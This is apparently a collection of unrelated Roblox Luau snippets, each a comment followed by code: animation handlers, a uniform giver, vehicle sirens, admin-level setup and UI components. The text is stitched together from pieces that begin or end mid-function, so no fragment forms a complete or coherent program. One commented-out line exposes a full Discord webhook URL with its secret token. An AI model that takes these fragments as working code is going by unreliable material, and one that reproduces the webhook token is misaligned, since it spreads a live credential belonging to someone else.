guiController:UpdateBoost(boostAmount)
end -- PhysicsUpdate()
|
--[=[
Starts the service bag and all services
]=]
|
function ServiceBag:Start()
assert(self._serviceTypesToStart, "Already started")
assert(not self._initializing, "Still initializing")
while next(self._serviceTypesToStart) do
local serviceType = table.remove(self._serviceTypesToStart)
local service = assert(self._services[serviceType], "No service")
if service.Start then
local current
task.spawn(function()
current = coroutine.running()
service:Start()
end)
assert(coroutine.status(current) == "dead", "Starting service yielded")
end
end
self._serviceTypesToStart = nil
end
|
--//Created by PlaasBoer
-- Set up table to return to any script that requires this module script
|
local PlayerStatManager = {}
|
-- Private Methods
|
function init(self)
local element = self.Element
local maid = self._Maid
local dragBind = self._DragBind
local lastMousePosition = Vector3.new()
maid:Mark(self._DragBind)
maid:Mark(self._StartBind)
maid:Mark(self._StopBind)
maid:Mark(element.InputBegan:Connect(function(input)
if (VALID_PRESS[input.UserInputType]) then
lastMousePosition = input.Position
self.IsDragging = true
self._StartBind:Fire()
end
end))
maid:Mark(UIS.InputEnded:Connect(function(input)
if (VALID_PRESS[input.UserInputType]) then
self.IsDragging = false
self._StopBind:Fire()
end
end))
maid:Mark(UIS.InputChanged:Connect(function(input, process)
if (self.IsDragging) then
if (VALID_MOVEMENT[input.UserInputType]) then
local delta = input.Position - lastMousePosition
lastMousePosition = input.Position
dragBind:Fire(element, input, delta)
end
end
end))
end
|
--Char remotes stuffs
|
local charRemotes = char.Remotes
local updateInputHoldEvent = charRemotes.UpdateInputHold
local updateHoverObjectEvent = charRemotes.UpdateHoverObject
local deleteInteractionUIEvent = charRemotes.DeletedInteractionUI
|
--// Events
|
local L_40_ = L_5_:WaitForChild('TurnOff')
local L_41_ = L_5_:WaitForChild('TurnOn')
local L_42_ = L_5_:WaitForChild('DustEvent')
local L_43_ = L_5_:WaitForChild('FXEvent')
local L_44_ = L_5_:WaitForChild('HitEvent')
local L_45_ = L_5_:WaitForChild('DamageEvent')
local L_46_ = L_5_:WaitForChild('CreateOwner')
|
-- A state object which follows another state object using spring simulation.
|
export type Spring<T> = PubTypes.Spring<T> & {
_speed: PubTypes.CanBeState<number>,
_speedIsState: boolean,
_lastSpeed: number,
_damping: PubTypes.CanBeState<number>,
_dampingIsState: boolean,
_lastDamping: number,
_goalState: State<T>,
_goalValue: T,
_currentType: string,
_currentValue: T,
_springPositions: {number},
_springGoals: {number},
_springVelocities: {number}
}
|
--local URL = "https://discord.com/api/webhooks/923591714990596156/bwbOydg818zWTN0VyZRsY2--IJhf7GqHnx7PMRGiqx9fMbQn0HN9DCWuaB0riCFIATBW"
| |
-- Functions --
|
local function playSoundLocal(sId,sParent)
local sound = Instance.new("Sound",sParent)
sound.SoundId = "http://www.roblox.com/asset/?id="..sId
sound:Play()
sound:Destroy()
end
local function onClicked(player)
print(player.Name.." clicked on Uniform Giver")
playSoundLocal(152206246,player) -- Declaring the sound ID and Parent
local foundShirt = player.Character:FindFirstChild("Shirt") -- Tries to find Shirt
if not foundShirt then -- if there is no shirt
print("No shirt found, creating for "..player.Name)
local newShirt = Instance.new("Shirt",player.Character)
newShirt.Name = "Shirt"
else if foundShirt then -- if there is a shirt
print("Shirt found, reconstructing for "..player.Name)
player.Character.Shirt:remove()
local newShirt = Instance.new("Shirt",player.Character)
newShirt.Name = "Shirt"
end
end
local foundPants = player.Character:FindFirstChild("Pants") -- Tries to find Pants
if not foundPants then -- if there are no pants
print("No pants found, creating for "..player.Name)
local newPants = Instance.new("Pants",player.Character)
newPants.Name = "Pants"
else if foundPants then -- if there are pants
print("Pants found, reconstructing for "..player.Name)
player.Character.Pants:remove()
local newPants = Instance.new("Pants",player.Character)
newPants.Name = "Pants"
end
end
player.Character.Shirt.ShirtTemplate = shirtId
player.Character.Pants.PantsTemplate = pantsId
end
local function onHoverEnter(player)
cPart.Transparency = .1
cPart.BrickColor = BrickColor.White()
end
local function onHoverLeave(player)
cPart.BrickColor = BrickColor.Gray()
cPart.Transparency = 1
end
|
-- emote bindable hook
|
if FFlagAnimateScriptEmoteHook then
script:WaitForChild("PlayEmote").OnInvoke = function(emote)
-- Only play emotes when idling
if pose ~= "Standing" then
return
end
if emoteNames[emote] ~= nil then
-- Default emotes
playAnimation(emote, EMOTE_TRANSITION_TIME, Humanoid)
if userPlayEmoteByIdAnimTrackReturn then
return true, currentAnimTrack
else
return true
end
elseif typeof(emote) == "Instance" and emote:IsA("Animation") then
-- Non-default emotes
playEmote(emote, EMOTE_TRANSITION_TIME, Humanoid)
if userPlayEmoteByIdAnimTrackReturn then
return true, currentAnimTrack
else
return true
end
end
-- Return false to indicate that the emote could not be played
return false
end
end
if (not FFlagUserFixLoadAnimationError) or Character.Parent ~= nil then
-- initialize to idle
playAnimation("idle", 0.1, Humanoid)
pose = "Standing"
end
|
--[=[
function information.
]=]
|
local function functionName()
end
|
--// Weapon Parts
|
local L_38_ = L_1_:WaitForChild('AimPart')
local L_39_
local L_40_ = L_1_:WaitForChild('Grip')
local L_41_ = L_1_:WaitForChild('FirePart')
local L_42_
local L_43_ = L_1_:WaitForChild('Mag')
local L_44_ = L_1_:WaitForChild('Bolt')
|
-- << SERVICES/VARIABLES >>
|
local players = game:GetService("Players")
local tweenService = game:GetService("TweenService")
local debris = game:GetService("Debris")
local hdMain = require(game:GetService("ReplicatedStorage"):WaitForChild("HDAdminSetup")):GetMain()
local hd = hdMain:GetModule("API")
local rankId = tonumber(rank) or hd:GetRankId(rank)
local rankName = hd:GetRankName(rankId)
|
-- ключ значений у игрока в DataStore2
|
local DS2key = script.Parent.Parent.Name -- "MaxHeight1"
local clickDetector = script.Parent.ClickDetector
function onMouseClick(plr)
-- для игрока plr, для ключа, установить 0
module.Set(plr,DS2key,0)
end
clickDetector.MouseClick:Connect(onMouseClick)
|
------------------------------------------------------------------------------------------
|
script.Parent.Blam:Play()
script.Parent.Anchored = true
script.Parent.Attachment.Star.Enabled = false
shock = Instance.new("Part")
shock.CanCollide = false
shock.Anchored = true
shock.Rotation=Vector3.new(90,0,90)
shock.Name = "SHOCKWAVE"
shock.Transparency = 0.2
shock.BrickColor = BrickColor.new("New Yeller")
shock.formFactor = "Custom"
shock.TopSurface = 0
shock.BottomSurface = 0
shock.Material = "Neon"
shock.CastShadow = false
script.Mesh0:clone().Parent = shock
local erase0 = script.Fade0:clone()
erase0.Parent = shock
erase0.Disabled = false
shock.Parent = game.Workspace
shock.Position=script.Parent.Position
puff = Instance.new("Part")
script.Parent.Anchored=true
puff.CanCollide = false
puff.Anchored = true
puff.Name = "hi lol"
puff.Transparency = 0.2
puff.BrickColor = BrickColor.new("Lily white")
puff.formFactor = "Custom"
puff.TopSurface = 0
puff.BottomSurface = 0
puff.Size = Vector3.new(3,3,3)
puff.Material = Enum.Material.Neon
puff.CastShadow = false
script.Mesh:clone().Parent = puff
local erase = script.FadeEx:clone()
erase.Parent = puff
erase.Disabled = false
puff.Parent = game.Workspace
puff.Position = script.Parent.Position
puff.CastShadow = false
puff = Instance.new("Part")
script.Parent.Anchored=true
puff.CanCollide = false
puff.Anchored = true
puff.Name = "whoosh"
puff.Transparency = 0
puff.BrickColor = BrickColor.new("Pearl")
puff.formFactor = "Custom"
puff.TopSurface = 0
puff.BottomSurface = 0
puff.Size = Vector3.new(1,1,1)
puff.Material = Enum.Material.Neon
puff.CastShadow = false
script.Mesh:clone().Parent = puff
local erase = script.tweener2:Clone()
erase.Parent = puff
erase.Disabled = false
puff.Parent = game.Workspace
puff.Position = script.Parent.Position
puff.CastShadow = false
script.Parent.Nebula:Emit(300)
script.Parent.BlamEffect:Emit(300)
script.Parent.Nebula2:Emit(300)
script.Parent.del.Disabled = false
wait(50)
script.Parent:Destroy()
|
-----------------
--| Variables |--
-----------------
|
local GamePassService = Game:GetService('GamePassService')
local PlayersService = Game:GetService('Players')
local InsertService = Game:GetService('InsertService')
local LightingService = Game:GetService('Lighting') --TODO: Use new data store service once that exists
local GamePassIdObject = WaitForChild(script, 'GamePassId')
local ToolAssetsToLoad = WaitForChild(script, 'ToolAssetsToLoad')
local AdminTools = LightingService:FindFirstChild('AdminTools')
|
-- This is in charge of the animations for the character. Pretty much stole it from the default character. Removed emote stuff.
|
function waitForChild(parent, childName)
local child = parent:findFirstChild(childName)
if child then return child end
while true do
child = parent.ChildAdded:wait()
if child.Name==childName then return child end
end
end
local Figure = script.Parent
local Torso = waitForChild(Figure, "Torso")
local RightShoulder = waitForChild(Torso, "Right Shoulder")
local LeftShoulder = waitForChild(Torso, "Left Shoulder")
local RightHip = waitForChild(Torso, "Right Hip")
local LeftHip = waitForChild(Torso, "Left Hip")
local Neck = waitForChild(Torso, "Neck")
local Humanoid = waitForChild(Figure, "Humanoid")
local pose = "Standing"
local currentAnim = ""
local currentAnimInstance = nil
local currentAnimTrack = nil
local currentAnimKeyframeHandler = nil
local currentAnimSpeed = 1.0
local animTable = {}
local animNames = {
idle = {
{ id = "http://www.roblox.com/asset/?id=180435571", weight = 9 },
{ id = "http://www.roblox.com/asset/?id=180435792", weight = 1 }
},
walk = {
{ id = "http://www.roblox.com/asset/?id=180426354", weight = 10 }
},
run = {
{ id = "run.xml", weight = 10 }
},
jump = {
{ id = "http://www.roblox.com/asset/?id=125750702", weight = 10 }
},
fall = {
{ id = "http://www.roblox.com/asset/?id=180436148", weight = 10 }
},
climb = {
{ id = "http://www.roblox.com/asset/?id=180436334", weight = 10 }
},
sit = {
{ id = "http://www.roblox.com/asset/?id=178130996", weight = 10 }
},
toolnone = {
{ id = "http://www.roblox.com/asset/?id=182393478", weight = 10 }
},
toolslash = {
{ id = "http://www.roblox.com/asset/?id=129967390", weight = 10 }
|
-- variables
|
local pings = {}
local projectiles = {}
|
--Interpret input
|
local function getInputValues()
if UserInputService:GetLastInputType() ~= Enum.UserInputType.Touch then
---Let the control module handle all none-touch controls
script.Throttle.Value = _calculateInput("Throttle") - _calculateInput("Brake")
script.Steering.Value = _calculateInput("SteerLeft") + _calculateInput("SteerRight")
script.HandBrake.Value = _calculateInput("Handbrake")
else --The vehicle gui handles all the touch controls
script.Throttle.Value = VehicleGui.throttleInput
script.Steering.Value = VehicleGui.steeringInput
script.HandBrake.Value = VehicleGui.handBrakeInput
end
end
ProximityPromptService.Enabled = false
|
--// HeadAdmins can do :permadmin, so it's unsafe to to make them head admins unless you change the perm levels for those commands or disable SaveAdmins in the settings
|
local PRIVATE_SERVER_OWNER_ADMIN_LEVEL: number = 200 --// (admin levels are defined in loader Settings)
return function(Vargs)
local server = Vargs.Server
local service = Vargs.Service
local Admin = server.Admin
--// If VIP Server is detected trigger code.
if game.PrivateServerOwnerId ~= 0 then
service.Events.PlayerAdded:Connect(function(plr: Player)
--PRIVATE_SERVER_OWNER_ADMIN_LEVEL > Admin.GetLevel(plr)
if game.PrivateServerOwnerId == plr.UserId then
Admin.SetLevel(plr, PRIVATE_SERVER_OWNER_ADMIN_LEVEL)
end
end)
end
end
|
--[[
Create a new test result node and push it onto the navigation stack.
]]
|
function TestSession:pushNode(planNode)
local node = TestResults.createNode(planNode)
local lastNode = self.nodeStack[#self.nodeStack] or self.results
table.insert(lastNode.children, node)
table.insert(self.nodeStack, node)
local lastContext = self.contextStack[#self.contextStack]
local context = Context.new(lastContext)
table.insert(self.contextStack, context)
local lastExpectationContext = self.expectationContextStack[#self.expectationContextStack]
local expectationContext = ExpectationContext.new(lastExpectationContext)
table.insert(self.expectationContextStack, expectationContext)
end
|
--> Dependencies
|
local Tween = require(ReplicatedStorage.Modules.Tween)
|
-- Calculate label length
|
local LABEL_TEXT = 'F'
local LABEL_LENGTH = TextService:GetTextSize(LABEL_TEXT,
24/2, Enum.Font.SourceSans, Vector2.new(math.huge, math.huge)).X
local ICON_SIZE = 18
local function ScopeLockTooltip(props)
return new('ImageLabel', {
BackgroundTransparency = 1;
ImageTransparency = 1 - 0.14;
Image = 'rbxassetid://4445959523';
ScaleType = Enum.ScaleType.Slice;
SliceCenter = Rect.new(4, 4, 12, 12);
ImageColor3 = Color3.fromRGB(0, 0, 0);
Size = UDim2.new(0, LABEL_LENGTH + (ICON_SIZE + 12)/2, 0, 30/2);
LayoutOrder = props.LayoutOrder or 3;
},
{
IconWrapper = new('Frame', {
Size = UDim2.new(0, ICON_SIZE/2, 0, ICON_SIZE/2);
Position = UDim2.new(0, 4/2, 0.5, 0);
AnchorPoint = Vector2.new(0, 0.5);
BackgroundTransparency = 1;
LayoutOrder = 0;
},
{
Icon = new('ImageLabel', {
Size = UDim2.new(1, 0, 1, 0);
BackgroundTransparency = 1;
ImageTransparency = 0.5;
Image = 'rbxassetid://2244452978';
ImageRectOffset = Vector2.new(14*2, 0) * 2;
ImageRectSize = Vector2.new(14, 14) * 2;
});
});
Label = new('TextLabel', {
BackgroundTransparency = 1;
Size = UDim2.new(0, LABEL_LENGTH, 1, 0);
Position = UDim2.new(0, (6 + ICON_SIZE)/2, 0.5, 0);
AnchorPoint = Vector2.new(0, 0.5);
Font = Enum.Font.SourceSans;
TextSize = 24/2;
Text = LABEL_TEXT;
TextTransparency = 0.5;
TextYAlignment = Enum.TextYAlignment.Center;
TextColor3 = Color3.fromRGB(255, 255, 255);
LayoutOrder = 1;
});
})
end
return ScopeLockTooltip
|
--//trunk
|
local tk = Instance.new("Motor", script.Parent.Parent.Misc.TK.SS)
tk.MaxVelocity = 0.02
tk.Part0 = script.Parent.TK
tk.Part1 = tk.Parent
script:Destroy()
|
--// # key, Wail
|
mouse.KeyDown:connect(function(key)
if key=="y" then
if veh.Lightbar.middle.Wail2.IsPlaying == true then
veh.Lightbar.middle.Wail2:Stop()
veh.Lightbar.middle.Yelp:Stop()
veh.Lightbar.middle.Priority:Stop()
script.Parent.Parent.Sirens.Wail.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
else
veh.Lightbar.middle.Wail2:Play()
veh.Lightbar.middle.Yelp:Stop()
veh.Lightbar.middle.Priority:Stop()
script.Parent.Parent.Sirens.Wail.BackgroundColor3 = Color3.fromRGB(215, 135, 110)
script.Parent.Parent.Sirens.Yelp.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
script.Parent.Parent.Sirens.Priority.BackgroundColor3 = Color3.fromRGB(62, 62, 62)
end
end
end)
|
--[[
Defines ProximityPrompt visibility logic specific to the CanPlant cta
--]]
|
local CollectionService = game:GetService("CollectionService")
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")
local CharacterTag = require(ReplicatedStorage.Source.SharedConstants.CollectionServiceTag.CharacterTag)
local ItemCategory = require(ReplicatedStorage.Source.SharedConstants.ItemCategory)
local countInventoryItemsInCategory = require(ReplicatedStorage.Source.Utility.PlayerData.countInventoryItemsInCategory)
local localPlayer = Players.LocalPlayer :: Player
local function shouldEnable(promptParent: Instance)
-- Can't plant while holding another plant
-- If Character doesn't exist, HasTag() returns false, so this still works correctly without waiting for character loaded
local character = localPlayer.Character
if not character then
return false
end
local isHoldingPlant = CollectionService:HasTag(character :: Model, CharacterTag.Holding)
if isHoldingPlant then
return false
end
-- Can't plant if player has no seeds
local numSeedsOwned = countInventoryItemsInCategory(ItemCategory.Seeds)
return numSeedsOwned > 0
end
return shouldEnable
|
--Light off
|
src.Headlights.SpotLight.Enabled = true
src.Headlights.Material = "Neon"
light.Value = true
return
end
end
end)
src.Parent.ChildRemoved:connect(function(child)
if child.Name=="SeatWeld" then
src:Stop()
script.Parent:Destroy()
end
end)
|
-- Libraries
|
local Libraries = Tool:WaitForChild 'Libraries'
local Maid = require(Libraries:WaitForChild 'Maid')
local PaintHistoryRecord = require(script:WaitForChild 'PaintHistoryRecord')
|
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